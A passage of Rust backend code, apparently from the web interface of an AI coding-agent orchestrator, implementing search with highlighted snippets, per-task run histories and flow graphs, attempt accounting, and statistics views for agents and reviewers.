3350 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
3351 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
3352 _ => {}
3353 }
3354}
3355
3356fn fold_char(c: char) -> char {
3359 c.to_lowercase().next().unwrap_or(c)
3360}
3361
3362fn search_terms(q: &str) -> Vec<String> {
3364 let mut terms: Vec<String> = Vec::new();
3365 for t in q.split_whitespace() {
3366 let t = t.to_lowercase();
3367 if !terms.contains(&t) {
3368 terms.push(t);
3369 }
3370 }
3371 terms
3372}
3373
3374fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
3377 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
3378 let mut first: Option<usize> = None;
3379 for term in terms {
3380 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
3381 first = Some(first.map_or(at, |f| f.min(at)));
3382 }
3383 let (field, text) = leaves[first?];
3385 Some(SearchHit {
3386 id: String::new(),
3387 field: field.to_owned(),
3388 snippet: snippet_of(text, terms),
3389 run: None,
3390 })
3391}
3392
3393fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
3396 let chars: Vec<char> = text.chars().collect();
3397 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
3398 let needles: Vec<Vec<char>> = terms
3399 .iter()
3400 .map(|t| t.chars().map(fold_char).collect())
3401 .collect();
3402 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
3403 let mut best: Option<(usize, usize)> = None;
3404 for n in needles.iter().filter(|n| !n.is_empty()) {
3405 if n.len() > chars.len() || to == 0 {
3409 continue;
3410 }
3411 let last = (to - 1).min(chars.len() - n.len());
3412 if from > last {
3413 continue;
3414 }
3415 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
3416 && best.is_none_or(|(b, _)| i < b)
3417 {
3418 best = Some((i, i + n.len()));
3419 }
3420 }
3421 best
3422 };
3423 let Some((start, _)) = find(0, chars.len()) else {
3424 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
3426 return vec![SnippetPart {
3427 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
3428 hit: false,
3429 }];
3430 };
3431 let lo = start.saturating_sub(SNIPPET_BEFORE);
3432 let hi = (start + SNIPPET_AFTER).min(chars.len());
3433 let mut parts: Vec<SnippetPart> = Vec::new();
3434 let mut push = |s: &[char], hit: bool| {
3435 if s.is_empty() {
3436 return;
3437 }
3438 let text: String = s.iter().collect();
3439 match parts.last_mut() {
3440 Some(p) if p.hit == hit => p.text.push_str(&text),
3441 _ => parts.push(SnippetPart { text, hit }),
3442 }
3443 };
3444 if lo > 0 {
3445 push(&['\u{2026}'], false);
3446 }
3447 let mut at = lo;
3448 while at < hi {
3449 match find(at, hi) {
3450 Some((s, e)) => {
3451 push(&chars[at..s], false);
3452 let shown = e.min(hi);
3454 push(&chars[s..shown], true);
3455 at = shown;
3456 }
3457 None => {
3458 push(&chars[at..hi], false);
3459 at = hi;
3460 }
3461 }
3462 }
3463 if hi < chars.len() {
3464 push(&['\u{2026}'], false);
3465 }
3466 let mut prev_space = false;
3469 for p in &mut parts {
3470 let mut out = String::with_capacity(p.text.len());
3471 for c in p.text.chars() {
3472 if c.is_whitespace() {
3473 if !prev_space {
3474 out.push(' ');
3475 }
3476 prev_space = true;
3477 } else {
3478 out.push(c);
3479 prev_space = false;
3480 }
3481 }
3482 p.text = out;
3483 }
3484 parts.retain(|p| !p.text.is_empty());
3485 parts
3486}
3487
3488fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
3490where
3491 I: IntoIterator<Item = (String, serde_json::Value)>,
3492{
3493 for (id, doc) in docs {
3494 let mut leaves = Vec::new();
3495 leaves.push(("id", id.as_str()));
3498 text_leaves(&doc, "", &mut leaves);
3499 if let Some(mut hit) = search_document(terms, &leaves) {
3500 view.total += 1;
3501 if view.hits.len() < SEARCH_MAX_HITS {
3502 hit.id = id;
3503 view.hits.push(hit);
3504 }
3505 }
3506 }
3507 view.truncated = view.total > view.hits.len();
3508}
3509
3510fn talk_search_doc(talk: &Talk) -> serde_json::Value {
3517 let opener = talk
3518 .turns
3519 .iter()
3520 .find(|t| t.who == crate::talk::Who::Operator)
3521 .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
3522 .unwrap_or("");
3523 let title: String = if opener.chars().count() > 96 {
3524 opener.chars().take(95).chain(['\u{2026}']).collect()
3525 } else {
3526 opener.to_owned()
3527 };
3528 let turns: Vec<serde_json::Value> = talk
3529 .turns
3530 .iter()
3531 .map(|t| {
3532 let who = match t.who {
3533 crate::talk::Who::Operator => "operator",
3534 crate::talk::Who::Agent => "agent",
3535 };
3536 serde_json::json!({ who: t.body })
3537 })
3538 .collect();
3539 serde_json::json!({ "title": title, "turns": turns })
3540}
3541
3542async fn search_get(
3549 State(ui): State<Arc<Ui>>,
3550 Query(q): Query<SearchQuery>,
3551) -> ApiResult<Json<SearchView>> {
3552 let query = q.q.trim().to_owned();
3553 if query.is_empty() {
3554 return Err(ApiError::bad_request("q must not be empty"));
3555 }
3556 if query.chars().count() > SEARCH_MAX_QUERY {
3557 return Err(ApiError::bad_request(format!(
3558 "q is longer than {SEARCH_MAX_QUERY} characters"
3559 )));
3560 }
3561 let terms = search_terms(&query);
3562 if terms.len() > SEARCH_MAX_TERMS {
3563 return Err(ApiError::bad_request(format!(
3564 "q has more than {SEARCH_MAX_TERMS} terms"
3565 )));
3566 }
3567 let scope = q.scope;
3568 if scope != "runs" && scope != "tasks" && scope != "chats" {
3569 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
3570 }
3571 blocking(move || {
3572 let mut view = SearchView {
3573 scope: scope.clone(),
3574 q: query,
3575 hits: Vec::new(),
3576 total: 0,
3577 truncated: false,
3578 unreadable: 0,
3579 };
3580 if scope == "runs" {
3581 let mut unreadable = 0;
3582 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
3586 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
3587 match body.and_then(|b| serde_json::from_str(&b).ok()) {
3588 Some(v) => Some((id, v)),
3589 None => {
3590 unreadable += 1;
3591 None
3592 }
3593 }
3594 });
3595 search_docs(&terms, docs, &mut view);
3596 view.unreadable = unreadable;
3597 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3600 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3601 for hit in &mut view.hits {
3602 if let Ok(state) = read_run(&ui.runs, &hit.id) {
3603 hit.run = summarize(
3604 [state],
3605 &open_runs,
3606 &claimed,
3607 &superseded,
3608 |p| probe.borrow_mut().status(p),
3609 |p| probe.borrow_mut().started_at(p),
3610 )
3611 .pop();
3612 }
3613 }
3614 } else if scope == "chats" {
3615 let (talks, unreadable) = ui.talks.list_counting_unreadable();
3616 view.unreadable = unreadable;
3617 search_docs(
3618 &terms,
3619 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
3620 &mut view,
3621 );
3622 } else {
3623 let docs = ui.queue.list().into_iter().filter_map(|t| {
3624 let mut v = serde_json::to_value(&t).ok()?;
3625 if let Some(o) = v.as_object_mut() {
3628 o.insert("filed_by".to_owned(), t.source.label().into());
3629 }
3630 Some((t.id, v))
3631 });
3632 search_docs(&terms, docs, &mut view);
3633 }
3634 Ok(Json(view))
3635 })
3636 .await
3637}
3638
3639#[derive(Debug, Serialize)]
3641struct TaskRunView {
3642 n: usize,
3644 id: String,
3645 short: String,
3646 kind: &'static str,
3648 status: Option<&'static str>,
3650 readable: bool,
3652 provisional: bool,
3654 description: String,
3656 outcome: String,
3658 created_at: Option<Timestamp>,
3659 pr: Option<String>,
3660 exit: RunExit,
3662 attempt: AttemptCost,
3664 branch: Option<String>,
3666}
3667
3668#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3670#[serde(rename_all = "snake_case")]
3671enum RunExit {
3672 Unreadable,
3673 Interrupted,
3675 Parked,
3676 QuotaStall,
3677 ResumedQuotaStall,
3681 Merged,
3682 Ready,
3683 Superseded,
3684 AlreadyInBase,
3687 Stalled,
3689 HeldWithPr,
3691 NoopHeld,
3692 Spent,
3694 InProgress,
3695}
3696
3697#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3698#[serde(rename_all = "snake_case")]
3699enum AttemptCost {
3700 Spent,
3701 Refunded,
3702 None,
3703 Unknown,
3705}
3706
3707impl RunExit {
3708 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
3709 let Some(s) = s else {
3710 return Self::Unreadable;
3711 };
3712 let status = s.status;
3713 if resumed_later {
3714 Self::Interrupted
3715 } else if s.parked {
3716 Self::Parked
3717 } else if !status.done() {
3718 Self::InProgress
3719 } else if matches!(status, RunStatus::Merged) {
3720 Self::Merged
3721 } else if matches!(status, RunStatus::Ready) {
3722 Self::Ready
3723 } else if matches!(status, RunStatus::Superseded) {
3724 Self::Superseded
3725 } else if matches!(status, RunStatus::AlreadyInBase) {
3726 Self::AlreadyInBase
3727 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
3728 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
3729 {
3730 if resumed {
3731 Self::ResumedQuotaStall
3732 } else {
3733 Self::QuotaStall
3734 }
3735 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
3736 Self::HeldWithPr
3737 } else if matches!(status, RunStatus::VerifiedNoop) {
3738 Self::NoopHeld
3739 } else if matches!(status, RunStatus::Stalled) {
3740 Self::Stalled
3741 } else {
3742 Self::Spent
3743 }
3744 }
3745
3746 fn cost(self) -> AttemptCost {
3747 match self {
3748 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
3749 Self::Merged
3750 | Self::Ready
3751 | Self::Stalled
3752 | Self::HeldWithPr
3753 | Self::NoopHeld
3754 | Self::Spent => AttemptCost::Spent,
3755 Self::InProgress => AttemptCost::None,
3756 Self::AlreadyInBase => AttemptCost::Refunded,
3757 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
3758 AttemptCost::Unknown
3759 }
3760 }
3761 }
3762
3763 fn edge_label(self, status: Option<&str>) -> String {
3765 match self {
3766 Self::Unreadable => "record unreadable".to_owned(),
3767 Self::Interrupted => "interrupted before the run finished".to_owned(),
3768 Self::Parked => "parked, attempt refunded".to_owned(),
3769 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
3770 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
3771 Self::Merged => "merged".to_owned(),
3772 Self::Ready => "ready, not merged".to_owned(),
3773 Self::Superseded => "superseded by a later attempt".to_owned(),
3774 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
3775 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
3776 Self::HeldWithPr => "blocked, PR left open".to_owned(),
3777 Self::NoopHeld => "verified no-op".to_owned(),
3778 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
3779 Self::InProgress => "in progress".to_owned(),
3780 }
3781 }
3782
3783 fn explains(self, end: TaskStatus) -> bool {
3786 match self {
3787 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
3788 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
3789 Self::Unreadable | Self::Superseded | Self::Ready => true,
3790 _ => end != TaskStatus::Done,
3791 }
3792 }
3793}
3794
3795#[derive(Debug, Serialize)]
3797struct TaskDetailView {
3798 #[serde(flatten)]
3799 task: TaskView,
3800 max_attempts: usize,
3803 history: Vec<TaskRunView>,
3804 flow: FlowView,
3805 runs_unreadable: usize,
3807 attempts_note: &'static str,
3809}
3810
3811const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
3812and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
3813on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
3814in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
3815
3816fn review_branch_of(instruction: &str) -> Option<&str> {
3819 let rest = instruction.strip_prefix("Review the work already on branch `")?;
3820 rest.split('`').next().filter(|b| !b.is_empty())
3821}
3822
3823struct RunSlot<'a> {
3825 n: usize,
3827 resumed: bool,
3829 resumed_later: Option<usize>,
3831 prior: Option<(&'a str, RunStatus)>,
3833 last: bool,
3834}
3835
3836fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
3839 let RunSlot {
3840 n,
3841 resumed,
3842 resumed_later,
3843 prior,
3844 last,
3845 } = at;
3846 let short = run::short_of(id).to_owned();
3847 let Some(s) = state else {
3848 return TaskRunView {
3849 n,
3850 id: id.to_owned(),
3851 short,
3852 kind: "unknown",
3853 status: None,
3854 readable: false,
3855 provisional: false,
3856 description:
3857 "This run's record could not be read by this build (written by a different \
3858 magi, or removed), so what kind of attempt it was is unknown."
3859 .to_owned(),
3860 outcome: String::new(),
3861 created_at: None,
3862 pr: None,
3863 exit: RunExit::Unreadable,
3864 attempt: AttemptCost::Unknown,
3865 branch: None,
3866 };
3867 };
3868 let branch = review_branch_of(&s.instruction);
3869 let kind = if resumed {
3870 "resume"
3871 } else if branch.is_some() {
3872 "review"
3873 } else if task.solo || s.candidates.len() == 1 {
3874 "solo"
3875 } else {
3876 "competition"
3877 };
3878 let mut description = match kind {
3879 "resume" => {
3880 format!("Resumed run {short}: the same run carried on instead of competing again.")
3881 }
3882 "review" => format!(
3883 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
3884 branch.unwrap_or_default()
3885 ),
3886 "solo" => "Solo run: one implementer straight into review.".to_owned(),
3887 _ => format!(
3888 "Competition: {} candidates judged blind.",
3889 s.candidates.len().max(1)
3890 ),
3891 };
3892 if !resumed && let Some((p, st)) = prior {
3893 description.push_str(&format!(
3894 " A retry: run {p} before it ended {}.",
3895 st.display_label()
3896 ));
3897 }
3898
3899 let status = s.status;
3900 let provisional = matches!(status, RunStatus::Stalled)
3901 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
3902 let head = if resumed_later.is_some() {
3903 String::new()
3904 } else {
3905 match status {
3906 RunStatus::Merged => "Merged.".to_owned(),
3907 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
3908 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
3909 RunStatus::AlreadyInBase => {
3910 "Already in the base: this change landed under other commits, nothing was left to land."
3911 .to_owned()
3912 }
3913 RunStatus::Stalled => {
3914 "Stalled: the judging panel never reached a quorum, so there is no verdict."
3915 .to_owned()
3916 }
3917 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
3918 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
3919 RunStatus::VerifiedNoop => {
3920 "Verified no-op: the candidates found nothing to change.".to_owned()
3921 }
3922 other if other.done() => format!("Ended {}.", other.display_label()),
3923 other => format!("In progress ({}).", other.display_label()),
3924 }
3925 };
3926 let why = if let Some(k) = resumed_later {
3927 let cause = if s.quota.is_empty() {
3934 "the cause was not recorded: a park, a crash or a restart all look the same from here"
3935 } else {
3936 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
3937 };
3938 format!(
3939 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
3940 )
3941 } else if s.parked {
3942 " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
3943 .to_owned()
3944 } else if !status.done()
3945 || matches!(
3946 status,
3947 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
3948 )
3949 {
3950 String::new()
3951 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
3952 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
3953 {
3954 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
3955 .to_owned()
3956 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
3957 " It left a pull request open, so the task was held for a person rather than retried."
3958 .to_owned()
3959 } else if matches!(status, RunStatus::VerifiedNoop) {
3960 " Held for a person to check the claim.".to_owned()
3961 } else if last {
3962 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
3963 } else {
3964 " It spent an attempt, and the task moved on to the next run.".to_owned()
3965 };
3966 let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
3967 TaskRunView {
3968 n,
3969 id: id.to_owned(),
3970 short,
3971 kind,
3972 status: Some(status.as_str()),
3973 readable: true,
3974 provisional,
3975 description,
3976 outcome: format!("{head}{why}"),
3977 created_at: Some(s.created_at),
3978 pr: s.pr.as_ref().map(|p| p.url.clone()),
3979 exit,
3980 attempt: exit.cost(),
3981 branch: branch.map(str::to_owned),
3982 }
3983}
3984
3985#[derive(Debug, Serialize, PartialEq)]
3987struct FlowNode {
3988 key: String,
3990 kind: &'static str,
3992 label: String,
3993 status: Option<&'static str>,
3996 note: Option<&'static str>,
3998 run_kind: Option<&'static str>,
3999 detail: Option<String>,
4000 decided: bool,
4002 readable: bool,
4003 href: Option<String>,
4004}
4005
4006#[derive(Debug, Serialize, PartialEq)]
4007struct FlowEdge {
4008 from: String,
4009 to: String,
4010 label: String,
4011 attempt: AttemptCost,
4012}
4013
4014#[derive(Debug, Serialize, PartialEq)]
4015struct FlowView {
4016 nodes: Vec<FlowNode>,
4017 edges: Vec<FlowEdge>,
4018 attempts: usize,
4020 max_attempts: usize,
4021}
4022
4023fn task_flow(task: &Task, history: &[TaskRunView], max_attempts: usize) -> FlowView {
4026 let node = |key: &str, kind, label: String| FlowNode {
4027 key: key.to_owned(),
4028 kind,
4029 label,
4030 status: None,
4031 note: None,
4032 run_kind: None,
4033 detail: None,
4034 decided: false,
4035 readable: true,
4036 href: None,
4037 };
4038 let mut nodes = Vec::new();
4039 let mut edges: Vec<FlowEdge> = Vec::new();
4040 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
4042 let mut n = node(
4043 "chat",
4044 "chat",
4045 format!("Chat {}", crate::queue::short(&link.id)),
4046 );
4047 n.href = Some(link.href);
4048 nodes.push(n);
4049 edges.push(FlowEdge {
4050 from: "chat".to_owned(),
4051 to: "start".to_owned(),
4052 label: "queued from chat".to_owned(),
4053 attempt: AttemptCost::None,
4054 });
4055 }
4056 nodes.push(node("start", "start", "Task queued".to_owned()));
4057 let mut prev = "start".to_owned();
4058 let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
4059 for (i, h) in history.iter().enumerate() {
4060 let key = format!("run-{}", h.n);
4061 let mut n = node(&key, "run", format!("Run {}", h.short));
4062 n.run_kind = Some(h.kind);
4063 n.readable = h.readable;
4064 n.href = Some(format!("#/runs/{}", h.id));
4065 n.decided = h.readable && !h.provisional;
4066 n.detail = h
4067 .branch
4068 .as_ref()
4069 .map(|b| format!("review-only run of branch {b}"));
4070 match h.exit {
4071 RunExit::Unreadable => n.note = Some("unreadable"),
4072 RunExit::Interrupted => n.note = Some("interrupted"),
4073 _ => {
4074 n.status = h.status;
4075 if h.provisional {
4076 n.note = Some("no verdict");
4077 }
4078 }
4079 }
4080 let into = match h.kind {
4081 "review" => Some(format!(
4082 "review-only run of branch {}",
4083 h.branch.as_deref().unwrap_or("?")
4084 )),
4085 "resume" => Some("resume the same run".to_owned()),
4086 _ if i > 0 => Some("retry".to_owned()),
4087 _ => None,
4088 };
4089 let label = match (prev_exit, into) {
4090 (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4091 (Some((e, st)), None) => e.edge_label(st),
4092 (None, Some(i)) => i,
4093 (None, None) => "claimed".to_owned(),
4094 };
4095 edges.push(FlowEdge {
4096 from: prev.clone(),
4097 to: key.clone(),
4098 label,
4099 attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4100 });
4101 prev_exit = Some((h.exit, h.status));
4102 prev = key;
4103 nodes.push(n);
4104 }
4105 let mut end = node("end", "end", task.status.as_str().to_owned());
4106 end.status = Some(task.status.as_str());
4107 nodes.push(end);
4108 let (label, attempt) = match prev_exit {
4109 None => (
4110 format!("no run yet \u{2192} {}", task.status.as_str()),
4111 AttemptCost::None,
4112 ),
4113 Some((e, st)) if e.explains(task.status) => (
4114 format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4115 e.cost(),
4116 ),
4117 Some((e, _)) => (
4118 format!("closed by hand: task is {}", task.status.as_str()),
4119 e.cost(),
4120 ),
4121 };
4122 edges.push(FlowEdge {
4123 from: prev,
4124 to: "end".to_owned(),
4125 label,
4126 attempt,
4127 });
4128 FlowView {
4129 nodes,
4130 edges,
4131 attempts: task.attempts,
4132 max_attempts,
4133 }
4134}
4135
4136fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4139 let mut history = Vec::with_capacity(task.runs.len());
4140 let mut seen: Vec<&str> = Vec::new();
4141 let mut prior: Option<(&str, RunStatus)> = None;
4142 for (i, run_id) in task.runs.iter().enumerate() {
4143 let state = read(run_id);
4144 let resumed = seen.contains(&run_id.as_str());
4145 seen.push(run_id);
4146 history.push(task_run_view(
4147 run_id,
4148 state.as_ref(),
4149 RunSlot {
4150 n: i + 1,
4151 resumed,
4152 resumed_later: task.runs[i + 1..]
4153 .iter()
4154 .position(|r| r == run_id)
4155 .map(|off| i + off + 2),
4156 prior,
4157 last: i + 1 == task.runs.len(),
4158 },
4159 task,
4160 ));
4161 if let Some(s) = &state {
4162 prior = Some((run::short_of(run_id), s.status));
4163 }
4164 }
4165 history
4166}
4167
4168async fn task_detail(
4169 State(ui): State<Arc<Ui>>,
4170 Path(id): Path<String>,
4171) -> ApiResult<Json<TaskDetailView>> {
4172 blocking(move || {
4173 let id = resolve_task(&ui.queue, &id)?;
4174 let task = ui
4175 .queue
4176 .get(&id)
4177 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4178 let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4179 let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4180 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4181 let max_attempts = daemon::Opts::default().max_attempts;
4182 let flow = task_flow(&task, &history, max_attempts);
4183 Ok(Json(TaskDetailView {
4184 max_attempts,
4185 flow,
4186 history,
4187 runs_unreadable,
4188 attempts_note: ATTEMPTS_NOTE,
4189 task: TaskView::with_inventory(task, &inv),
4190 }))
4191 })
4192 .await
4193}
4194
4195#[derive(Debug, Serialize)]
4199struct RateView {
4200 pct: f64,
4201 denominator: usize,
4202}
4203
4204impl RateView {
4205 fn of(numerator: usize, denominator: usize) -> Option<Self> {
4206 (denominator > 0).then(|| Self {
4207 pct: 100.0 * numerator as f64 / denominator as f64,
4208 denominator,
4209 })
4210 }
4211}
4212
4213#[derive(Debug, Serialize)]
4218struct StatsTotalsView {
4219 runs: usize,
4220 merged: usize,
4221 ready: usize,
4222 blocked: usize,
4223 failed: usize,
4224 stalled: usize,
4225 verified_noop: usize,
4226 superseded: usize,
4227 in_progress: usize,
4228 completion_rate: Option<RateView>,
4229 tallied: usize,
4230 split: usize,
4231 split_rate: Option<RateView>,
4232 deliberated: usize,
4233 minds_changed: usize,
4234 converged: usize,
4235 review_rounds: usize,
4236}
4237
4238impl From<&stats::Totals> for StatsTotalsView {
4239 fn from(t: &stats::Totals) -> Self {
4240 Self {
4241 runs: t.runs,
4242 merged: t.merged,
4243 ready: t.ready,
4244 blocked: t.blocked,
4245 failed: t.failed,
4246 stalled: t.stalled,
4247 verified_noop: t.verified_noop,
4248 superseded: t.superseded,
4249 in_progress: t.in_progress,
4250 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4251 tallied: t.tallied,
4252 split: t.split,
4253 split_rate: RateView::of(t.split, t.tallied),
4254 deliberated: t.deliberated,
4255 minds_changed: t.minds_changed,
4256 converged: t.converged,
4257 review_rounds: t.review_rounds,
4258 }
4259 }
4260}
4261
4262#[derive(Debug, Serialize)]
4264struct AgentStatsView {
4265 agent: String,
4266 entered: usize,
4267 wins: usize,
4268 empty: usize,
4269 win_rate: Option<RateView>,
4270}
4271
4272impl From<&stats::AgentStats> for AgentStatsView {
4273 fn from(a: &stats::AgentStats) -> Self {
4274 Self {
4275 agent: a.agent.clone(),
4276 entered: a.entered,
4277 wins: a.wins,
4278 empty: a.empty,
4279 win_rate: RateView::of(a.wins, a.entered),
4280 }
4281 }
4282}
4283
4284#[derive(Debug, Serialize)]
4288struct ReviewerStatsView {
4289 agent: String,
4290 rounds: usize,
4291 seated: usize,
4292 submitted: usize,
4293 adopted: usize,
4294 unique: usize,
4295 timeouts: usize,
4296 adopted_per_round: Option<f64>,
4297 precision: Option<RateView>,
4298 unique_rate: Option<RateView>,
4299 timeout_rate: Option<RateView>,
4300}
4301
4302impl From<&stats::ReviewerStats> for ReviewerStatsView {
4303 fn from(r: &stats::ReviewerStats) -> Self {
4304 Self {
4305 agent: r.agent.clone(),
4306 rounds: r.rounds,
4307 seated: r.seated,
4308 submitted: r.submitted,
4309 adopted: r.adopted,
4310 unique: r.unique,
4311 timeouts: r.timeouts,
4312 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
4313 precision: RateView::of(r.adopted, r.submitted),
4314 unique_rate: RateView::of(r.unique, r.submitted),
4315 timeout_rate: RateView::of(r.timeouts, r.seated),
4316 }
4317 }
4318}
4319
4320#[derive(Debug, Serialize)]
4326struct AdvisorStatsView {
4327 agent: String,
4328 seated: usize,
4329 proposed: usize,
4330 absent: usize,
4331 faint: usize,
4332 strong: usize,
4333 reflection_rate: Option<RateView>,
4334}
4335
4336impl From<&stats::AdvisorStats> for AdvisorStatsView {
4337 fn from(a: &stats::AdvisorStats) -> Self {
4338 Self {
4339 agent: a.agent.clone(),
4340 seated: a.seated,
4341 proposed: a.proposed,
4342 absent: a.absent,
4343 faint: a.faint,
4344 strong: a.strong,
4345 reflection_rate: RateView::of(a.strong, a.proposed),
4346 }
4347 }
4348}
4349
4350#[derive(Debug, Serialize)]
4352struct E2eStatsView {
4353 rounds: usize,
4354 failures: usize,
4355 sole_detections: usize,
4356 deferred: usize,
4357 sole_rate: Option<RateView>,
4358}
4359
4360impl From<&stats::E2eStats> for E2eStatsView {
4361 fn from(e: &stats::E2eStats) -> Self {
4362 Self {
4363 rounds: e.rounds,
4364 failures: e.failures,
4365 sole_detections: e.sole_detections,
4366 deferred: e.deferred,
4367 sole_rate: RateView::of(e.sole_detections, e.failures),
4368 }
4369 }
4370}
4371
4372#[derive(Debug, Serialize)]
4380struct ReleaseBumpStatsView {
4381 merged: usize,
4382 recorded: usize,
4383 pr_opened: usize,
4384 automerge_enabled: usize,
4385 merged_directly: usize,
4386 needs_attention: usize,
4387 clean: usize,
4388 coverage_rate: Option<RateView>,
4389 automerge_rate: Option<RateView>,
4390 attention_rate: Option<RateView>,
4391}
4392
4393impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
4394 fn from(b: &stats::ReleaseBumpStats) -> Self {
4395 Self {
4396 merged: b.merged,
4397 recorded: b.recorded,
4398 pr_opened: b.pr_opened,
4399 automerge_enabled: b.automerge_enabled,
4400 merged_directly: b.merged_directly,
4401 needs_attention: b.needs_attention,
4402 clean: b.clean(),
4403 coverage_rate: RateView::of(b.recorded, b.merged),
4404 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
4405 attention_rate: RateView::of(b.needs_attention, b.recorded),
4406 }
4407 }
4408}
4409
4410#[derive(Debug, Serialize)]
4412struct TaskCountsView {
4413 queued: usize,
4414 running: usize,
4415 done: usize,
4416 failed: usize,
4417 held: usize,
4418 blocked: usize,
4419}
4420
4421impl From<crate::queue::TaskCounts> for TaskCountsView {
4422 fn from(c: crate::queue::TaskCounts) -> Self {
4423 Self {
4424 queued: c.queued,
4425 running: c.running,
4426 done: c.done,
4427 failed: c.failed,
4428 held: c.held,
4429 blocked: c.blocked,
4430 }
4431 }
4432}
4433
4434#[derive(Debug, Serialize)]
4440struct RepoSummaryView {
4441 repo: String,
4444 name: String,
4446 runs: usize,
4447 completion_rate: Option<RateView>,
4448}
4449
4450impl From<&stats::RepoStats> for RepoSummaryView {
4451 fn from(r: &stats::RepoStats) -> Self {
4452 let t = &r.stats.totals;
4453 Self {
4454 repo: r.repo.to_string_lossy().into_owned(),
4455 name: r.name.clone(),
4456 runs: t.runs,
4457 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4458 }
4459 }
4460}
4461
4462#[derive(Debug, Serialize)]
4468struct StatsView {
4469 totals: StatsTotalsView,
4470 agents: Vec<AgentStatsView>,
4472 reviewers: Vec<ReviewerStatsView>,
4474 advisors: Vec<AdvisorStatsView>,
4476 e2e: E2eStatsView,
4477 release_bumps: ReleaseBumpStatsView,
4478 queue: TaskCountsView,
4479 runs_unreadable: usize,
4489 repos: Vec<RepoSummaryView>,
4493 repo: Option<String>,
4497}
4498
4499#[derive(Debug, Default, Deserialize)]
4508#[serde(default)]
4509struct StatsQuery {
4510 repo: Option<String>,
4511}
4512
4513async fn stats_get(
4520 State(ui): State<Arc<Ui>>,
4521 Query(q): Query<StatsQuery>,
4522) -> ApiResult<Json<StatsView>> {
4523 blocking(move || {
4524 let states: Vec<RunState> = run_ids(&ui.runs)
4525 .into_iter()
4526 .filter_map(|id| read_run(&ui.runs, &id).ok())
4527 .collect();
4528 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
4529 .iter()
4530 .map(RepoSummaryView::from)
4531 .collect();
4532 let collected = match &q.repo {
4533 Some(repo) => {
4534 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
4535 if filtered.is_empty() {
